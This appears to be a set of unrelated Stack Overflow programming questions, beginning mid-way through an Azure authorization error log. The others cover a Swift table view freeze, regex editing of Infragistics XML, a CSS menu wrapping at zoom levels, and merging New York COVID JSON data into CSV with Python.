"ebf53860-e727-4003-90bc-3d099632c913" }, "skip_encoding_path_params": null, "query_params": { "$filter": null, "$top": null, "$orderby": null, "api-version": "2016-04-30-preview" }, "skip_encoding_query_params": null, "headers": { "Content-Type": "application/json;charset=utf-8", "accept-language": "en-US", "x-ms-client-request-id": "da80d2da-c90b-4f3e-8085-8545dfe9928c" }, "body": null, "middlewares": [ [ "MsRest::RetryPolicyMiddleware", { "times": 3, "retry": 0.02 } ], [ "cookie_jar" ] ], "log": null }, "response": { "body": "{\"error\":{\"code\":\"AuthorizationFailed\",\"message\":\"The client '6939d76b-a697-42d0-a52f-1af3c8412d51' with object id '6939d76b-a697-42d0-a52f-1af3c8412d51' does not have authorization to perform action 'Microsoft.Compute/locations/publishers/artifacttypes/offers/skus/versions/read' over scope '/subscriptions/ebf53860-e727-4003-90bc-3d099632c913'.\"}}", "headers": { "cache-control": "no-cache", "pragma": "no-cache", "content-type": "application/json; charset=utf-8", "expires": "-1", "x-ms-failure-cause": "gateway", "x-ms-request-id": "d2824106-2381-455d-89a8-7b20e84539a3", "x-ms-correlation-request-id": "d2824106-2381-455d-89a8-7b20e84539a3", "x-ms-routing-request-id": "FRANCESOUTH:20180419T225147Z:d2824106-2381-455d-89a8-7b20e84539a3", "strict-transport-security": "max-age=31536000; includeSubDomains", "x-content-type-options": "nosniff", "date": "Thu, 19 Apr 2018 22:51:47 GMT", "connection": "close", "content-length": "349" }, "status": 403 } } from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/promise.rb:501:in `block in on_fulfill' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/safe_task_executor.rb:24:in `block in execute' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/synchronization/mri_lockable_object.rb:38:in `block in synchronize' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/synchronization/mri_lockable_object.rb:38:in `synchronize' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/synchronization/mri_lockable_object.rb:38:in `synchronize' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/safe_task_executor.rb:19:in `execute' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/promise.rb:531:in `block in realize' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/ruby_thread_pool_executor.rb:348:in `run_task' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/ruby_thread_pool_executor.rb:337:in `block (3 levels) in create_worker' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/ruby_thread_pool_executor.rb:320:in `loop' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/ruby_thread_pool_executor.rb:320:in `block (2 levels) in create_worker' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/ruby_thread_pool_executor.rb:319:in `catch' from /home/elda/.vagrant.d/gems/2.4.3/gems/concurrent-ruby-1.0.5/lib/concurrent/executor/ruby_thread_pool_executor.rb:319:in `block in create_worker'</code></pre> </div> </div> It seems that there are no syntax errors or something missing. If somebody has had the same problem can you please share with me the solution? I have owner permissions : <a href="https://i.stack.imgur.com/AExOO.png" rel="nofollow noreferrer">enter image description here</a></p> <p>Thanks a lot.</p>
3
3,909
App freezes when a tableViewController is opened
<p>First want to know how can I debug where the issue is, what is stalling the main thread indefinitely. I read somewhere that as soon as my app freezes, i should pause it and see the threads and i'll able to see what is taking up so long. I did that but I cant identify the cause. <a href="https://i.stack.imgur.com/J0Yhq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/J0Yhq.png" alt="Screenshot of threads in frozen app state"></a></p> <p>Secondly, I should also mention my scenario because the freeze is always reproducible. I open a <code>tableViewController</code>on tap of a <code>UILabel</code> (through <code>TapGestureRecongniser</code>). The user can select multiple cells in the <code>tableViewController</code> and the <code>UILabel</code> reflects the values, user selected in <code>tableViewController</code>. I have a central ContentManager which handles the content of the app. The <code>tableViewController</code> changes a list in the <code>ContentManager</code> and <code>UILabel</code> fetches that list to update it self. Everything is working fine till here. If I open the <code>TableViewController</code> again, the app freezes. This only happens if the user has changed the selected cells. If user opens <code>tableViewController</code> but does not change any cell's selected state and presses back, app does not freezes on opening it again. This is code of my <code>tableViewController</code></p> <pre><code>import UIKit import SwiftEventBus class InterestsTableViewController: UITableViewController { override func viewDidLoad() { super.viewDidLoad() title = "Select Your Interests" navigationItem.rightBarButtonItem = UIBarButtonItem(title: "Select", style: .Plain, target: self, action: #selector(addTapped)) navigationItem.rightBarButtonItem?.enabled = false self.clearsSelectionOnViewWillAppear = false setPreSelectedCells() } func setPreSelectedCells() { var interestList = ContentManager.shared.getInterests()! if interestList.count &gt; 0 { for i in 0..&lt;interestList.endIndex { let interest = interestList[i] let indexPath = NSIndexPath(forRow: 0, inSection: i) if interest.isSelected { tableView.selectRowAtIndexPath(indexPath, animated: false, scrollPosition: UITableViewScrollPosition.None) self.tableView(self.tableView, didSelectRowAtIndexPath: indexPath); } else { tableView.deselectRowAtIndexPath(indexPath, animated: false) self.tableView(self.tableView, didDeselectRowAtIndexPath: indexPath); } } } } func addTapped() { print("interests selected") print(tableView.indexPathsForSelectedRows?.count) if let indexPaths = tableView.indexPathsForSelectedRows { var selectedInterests : [String] = [] for indexPath in indexPaths { selectedInterests.append(ContentManager.shared.getInterests()![indexPath.section].id) } if selectedInterests.count &gt; 0 { ApiCallsManager.updateInterests(selectedInterests) navigationController?.popViewControllerAnimated(true) } } } // MARK: - Table view data source override func numberOfSectionsInTableView(tableView: UITableView) -&gt; Int { if ContentManager.shared.getInterests() != nil { return ContentManager.shared.getInterests()!.count } else { return 0 } } override func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -&gt; Int { return 1 } override func tableView(tableView: UITableView, heightForHeaderInSection section: Int) -&gt; CGFloat { return 10.0 } override func tableView(tableView: UITableView, viewForHeaderInSection section: Int) -&gt; UIView { let headerView: UIView = UIView() headerView.backgroundColor = UIColor.clearColor() return headerView } override func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -&gt; UITableViewCell { let cell = tableView.dequeueReusableCellWithIdentifier("InterestsTableViewCell", forIndexPath: indexPath) as! InterestsTableViewCell let interest = ContentManager.shared.getInterests()![indexPath.section] cell.interestLabel.text = interest.getCategory() cell.picture.kf_setImageWithURL(NSURL(string: interest.picture)!) if cell.selected { cell.filter.alpha = 0.85 } else { cell.filter.alpha = 0.3 } return cell } override func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) { if let cell = tableView.cellForRowAtIndexPath(indexPath) as? InterestsTableViewCell { cell.filter.alpha = 0.85 if let count = tableView.indexPathsForSelectedRows?.count { navigationItem.rightBarButtonItem = UIBarButtonItem(title: "Select (\(count))", style: .Plain, target: self, action: #selector(addTapped)) } else { navigationItem.rightBarButtonItem = UIBarButtonItem(title: "Select", style: .Plain, target: self, action: #selector(addTapped)) navigationItem.rightBarButtonItem?.enabled = false } } } override func tableView(tableView: UITableView, didDeselectRowAtIndexPath indexPath: NSIndexPath) { if let cell = tableView.cellForRowAtIndexPath(indexPath) as? InterestsTableViewCell { cell.filter.alpha = 0.3 if let count = tableView.indexPathsForSelectedRows?.count { navigationItem.rightBarButtonItem = UIBarButtonItem(title: "Select (\(count))", style: .Plain, target: self, action: #selector(addTapped)) } else { navigationItem.rightBarButtonItem = UIBarButtonItem(title: "Select", style: .Plain, target: self, action: #selector(addTapped)) navigationItem.rightBarButtonItem?.enabled = false } } } } </code></pre> <p>Thanks.</p>
3
2,448
Remove a node from the following XML.
<p>This is the xml I got as an output from the <code>WriteXmlString()</code> of <code>Infragistics ultrawebtree</code>. I am using this to create another <code>Infragistics ultrawebtree</code> with the same structure. But here I don't want the <code>&lt;Url&gt;something.aspx..&lt;/Url&gt;</code>. I want that to be like this <code>&lt;Url&gt;&lt;\Url&gt;</code>. So how I can able to remove. This I get as a String. So I used <code>Regex.Replace()</code>. But it will work for certain conditions,but for some case it will destruct the xml by deleting some xml tags and xml became not valid due to missing of tags. I used this expression <code>&lt;Url&gt;\S*&lt;/Url&gt;</code> to avoid the contents of Url. Any help will be very helpful. Thanks in advance.</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" standalone="yes" ?&gt; - &lt;InfragisticsServerTree XmlVersion="1.0"&gt; - &lt;uwtModule&gt; - &lt;ProjectProperties&gt; &lt;ComponentTarget&gt;ClassicTree&lt;/ComponentTarget&gt; &lt;BrowserTarget&gt;Auto&lt;/BrowserTarget&gt; &lt;/ProjectProperties&gt; - &lt;TreeProperties&gt; &lt;MaxDataBindDepth&gt;-1&lt;/MaxDataBindDepth&gt; &lt;Name&gt;uwtModule&lt;/Name&gt; &lt;Indentation&gt;20&lt;/Indentation&gt; &lt;SubMenuImage&gt;igNone&lt;/SubMenuImage&gt; &lt;LoadOnDemandPrompt&gt; &lt;b&gt;Loading...&lt;/b&gt; &lt;/LoadOnDemandPrompt&gt; &lt;ExpandAnimation&gt;Decelerate&lt;/ExpandAnimation&gt; &lt;ExpandOnClick&gt;false&lt;/ExpandOnClick&gt; &lt;CompactRendering&gt;false&lt;/CompactRendering&gt; &lt;RenderAnchors&gt;false&lt;/RenderAnchors&gt; - &lt;Style&gt; &lt;ForeColor&gt;-16777216&lt;/ForeColor&gt; &lt;BorderColor&gt;-4144960&lt;/BorderColor&gt; &lt;BorderStyle&gt;None&lt;/BorderStyle&gt; &lt;BorderWidth&gt;1px&lt;/BorderWidth&gt; - &lt;Font&gt; &lt;Name&gt;Arial&lt;/Name&gt; - &lt;Names&gt; &lt;Name&gt;Arial&lt;/Name&gt; &lt;/Names&gt; &lt;Size&gt;11px&lt;/Size&gt; &lt;/Font&gt; &lt;Height&gt;425px&lt;/Height&gt; &lt;Width&gt;97%&lt;/Width&gt; - &lt;Padding&gt; &lt;Top&gt;5px&lt;/Top&gt; &lt;Left&gt;5px&lt;/Left&gt; &lt;Right&gt;5px&lt;/Right&gt; &lt;Bottom&gt;5px&lt;/Bottom&gt; &lt;/Padding&gt; &lt;/Style&gt; - &lt;SelectedNodeStyle&gt; &lt;BackColor&gt;-2894893&lt;/BackColor&gt; &lt;ForeColor&gt;-16777216&lt;/ForeColor&gt; - &lt;Padding&gt; &lt;Top&gt;2px&lt;/Top&gt; &lt;Left&gt;2px&lt;/Left&gt; &lt;Right&gt;2px&lt;/Right&gt; &lt;Bottom&gt;2px&lt;/Bottom&gt; &lt;/Padding&gt; &lt;/SelectedNodeStyle&gt; &lt;/TreeProperties&gt; &lt;Styles /&gt; - &lt;Levels&gt; - &lt;Level&gt; &lt;Number&gt;0&lt;/Number&gt; &lt;/Level&gt; &lt;/Levels&gt; - &lt;Nodes&gt; - &lt;Node&gt; &lt;Text&gt;123&lt;/Text&gt; &lt;Url&gt;ModuleEdit.aspx?ModuleID=965&lt;/Url&gt; &lt;Target&gt;main&lt;/Target&gt; &lt;Tag&gt;965&lt;/Tag&gt; &lt;Title&gt;AccptChangesPerfPM&lt;/Title&gt; &lt;Expanded&gt;true&lt;/Expanded&gt; - &lt;Nodes&gt; - &lt;Node&gt; &lt;Text&gt;111&lt;/Text&gt; &lt;Url&gt;123.aspx?e=965 &lt;/Url&gt; &lt;Target&gt;main&lt;/Target&gt; &lt;Tag&gt;TL_-99999&lt;/Tag&gt; &lt;/Node&gt; - &lt;Node&gt; &lt;Text&gt;werrv&lt;/Text&gt; &lt;Url&gt;1dfee.aspx?qwe=9er65&lt;/Url&gt; &lt;Target&gt;main&lt;/Target&gt; &lt;Tag&gt;12DDfe&lt;/Tag&gt; &lt;/Node&gt; - &lt;Node&gt; &lt;Text&gt;q2233&lt;/Text&gt; &lt;Target&gt;main&lt;/Target&gt; &lt;Tag&gt;TL_1015&lt;/Tag&gt; &lt;Title&gt;Topic_1&lt;/Title&gt; &lt;ShowExpand&gt;true&lt;/ShowExpand&gt; - &lt;Nodes&gt; - &lt;Node&gt; &lt;Text&gt;T1&lt;/Text&gt; &lt;Url&gt;w3345_954y65.aspx?ID=965er&lt;/Url&gt; &lt;Target&gt;main&lt;/Target&gt; - &lt;Style&gt; &lt;ForeColor&gt;-16777216&lt;/ForeColor&gt; &lt;/Style&gt; &lt;Tag&gt;82355&lt;/Tag&gt; &lt;Title&gt;T1&lt;/Title&gt; &lt;/Node&gt; - &lt;Node&gt; &lt;Text&gt;T2&lt;/Text&gt; &lt;Url&gt;23_7811.aspx?ID=3u65&lt;/Url&gt; &lt;Target&gt;main&lt;/Target&gt; - &lt;Style&gt; &lt;ForeColor&gt;-16777216&lt;/ForeColor&gt; &lt;/Style&gt; &lt;Tag&gt;82356&lt;/Tag&gt; &lt;Title&gt;T2&lt;/Title&gt; &lt;/Node&gt; - &lt;Node&gt; &lt;Text&gt;T3&lt;/Text&gt; &lt;Url&gt;we456_9.aspx?ID=4r56&lt;/Url&gt; &lt;Target&gt;main&lt;/Target&gt; - &lt;Style&gt; &lt;ForeColor&gt;-16777216&lt;/ForeColor&gt; &lt;/Style&gt; &lt;Tag&gt;82357&lt;/Tag&gt; &lt;Title&gt;T3&lt;/Title&gt; &lt;/Node&gt; &lt;/Nodes&gt; &lt;/Node&gt; &lt;/Nodes&gt; &lt;/Node&gt; &lt;/Nodes&gt; &lt;/uwtModule&gt; &lt;/InfragisticsServerTree&gt; </code></pre>
3
3,010
Menu bar breaks to the next line / fluctuates in size depending on zoom level
<p>This is my menu bar at 100% on my browser: <img src="https://i.imgur.com/KdGWB2Q.png"></p> <p>And this is what happens at certain zoom levels and some other browsers: <img src="https://i.imgur.com/tqgPM57.png"></p> <p>Here's a simplified version on fiddle: <a href="http://jsfiddle.net/heetertc/ARGm8/6/" rel="nofollow noreferrer">http://jsfiddle.net/heetertc/ARGm8/6/</a></p> <pre><code>&lt;div id="bar"&gt; &lt;div id="center-menu"&gt; &lt;ul id="nav"&gt; &lt;li&gt;&lt;a href="/about/"&gt;ABOUT&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/bacharach-institute/"&gt;THE INSTITUTE&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/renaissance-pavilion/"&gt;RENAISSANCE PAVILION&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/day-rehab/"&gt;DAY REHAB&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/outpatient-services/"&gt;OUTPATIENT SERVICES&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/therapy-centers/"&gt;THERAPY CENTERS&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/blog/"&gt;NEWS&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="/contact/"&gt;CONTACT&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;div class="clear"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;style type="text/css"&gt; ol, ul { list-style: none outside none; } #bar { height: 50px; left: 0; margin-top: 8px; position: absolute; width: 100%; } #bar ul { text-align: center; } #center-menu{ height: 50px; margin: 0 auto; width: 954px; } #nav { list-style: none outside none; margin-bottom: 0; margin-top: 0; padding-top: 0; width: 100%; } #nav li { border-left: 1px solid #0c4b89; display:block; float:left; height: 50px; line-height: 50px; padding-top: 0; position:relative; z-index:500; } #nav li a { color: #FFFFFF; display: block; font-size: 12px; font-weight: bold; height: 50px; padding-left: 18px; padding-right: 18px; text-align: left; text-decoration: none; text-shadow: 0 1px 1px #000000; } #nav &gt; li:last-child { border-right: 1px solid #0C4B89; } &lt;/style&gt; </code></pre> <p>I'm sure this is something really easy, but I've been at it for a few days and tried many different things, including many attempts of resizing.</p> <p>So why does the last element skip down to the next level, but only at different zooms? When I resize it to fit one zoom level, it looks completely different in another. Is there a way to get this to always fill the 954px #bar element no matter the zoom?</p>
3
1,261
Python - write to CSV from multiple JSON files
<p>I have been trying and failing all day to write multiple JSON files I am pulling from the nys.gov website on COVID data to one (or more) CSV files.</p> <p>I can successfully concatenate the JSON files but have not been able to but them together in a format I can utilize to make graphs. I know the issue is somewhere in my for loop but after many attempts I have not found a successful method of either appending the data into one csv or creating multiple csv files I can then work with in pandas. Here is my code, currently it seems it is iterating through the loops and dumping the final json into my csv...</p> <pre><code>import csv import datetime import json import pandas as pd import urllib.request as request one_day = datetime.datetime.today() - datetime.timedelta(days=1) two_days = datetime.datetime.today() - datetime.timedelta(days=2) thr_days = datetime.datetime.today() - datetime.timedelta(days=3) for_days = datetime.datetime.today() - datetime.timedelta(days=4) fiv_days = datetime.datetime.today() - datetime.timedelta(days=5) six_days = datetime.datetime.today() - datetime.timedelta(days=6) sev_days = datetime.datetime.today() - datetime.timedelta(days=7) egt_days = datetime.datetime.today() - datetime.timedelta(days=8) one_day_str = one_day.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) two_day_str = two_days.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) thr_day_str = thr_days.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) for_day_str = for_days.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) fiv_day_str = fiv_days.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) six_day_str = six_days.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) sev_day_str = sev_days.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) egt_day_str = egt_days.strftime(&quot;%Y-%m-%dT00:00:00.000&quot;) url_one = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + one_day_str url_two = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + two_day_str url_thr = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + thr_day_str url_for = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + for_day_str url_fiv = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + fiv_day_str url_six = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + six_day_str url_sev = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + sev_day_str url_egt = 'https://health.data.ny.gov/resource/xdss-u53e.json?test_date=' + egt_day_str url_lst = [url_one,url_two,url_thr, url_for, url_fiv, url_six, url_sev, url_egt] d = [] def write_json(data, filename='data.json'): with open(filename,'w') as f: json.dump(data, f, indent=4) for url in url_lst: with request.urlopen(url) as response: # print(url) source = response.read() data = json.loads(source) if len(data) == 0: continue with open (&quot;covid.json&quot;, 'w') as outfile: json.dump(data, outfile) with open('covid.json') as json_data: j = json.load(json_data) d.append(j) write_json(d) filename = &quot;County Stats.csv&quot; fields = [&quot;Date&quot;,&quot;County&quot;, &quot;New Positives&quot;, &quot;All Positives&quot;, &quot;New Tests&quot;, &quot;All Tests&quot;] with open(filename, 'w') as fw: cf = csv.writer(fw, lineterminator='\n') # write the header cf.writerow(fields) for counties in data: date = counties['test_date'] cnty = counties['county'] new_pos = counties['new_positives'] cum_pos = counties['cumulative_number_of_positives'] new_tests = counties['total_number_of_tests'] cum_tests = counties['cumulative_number_of_tests'] cf.writerow([date,cnty, new_pos, cum_pos, new_tests, cum_tests]) </code></pre> <p>I'm probably somewhere between beginner and intermediate with python so please forgive any poor coding practices. Thanks in advance.</p> <ul> <li>Conor</li> </ul>
3
1,735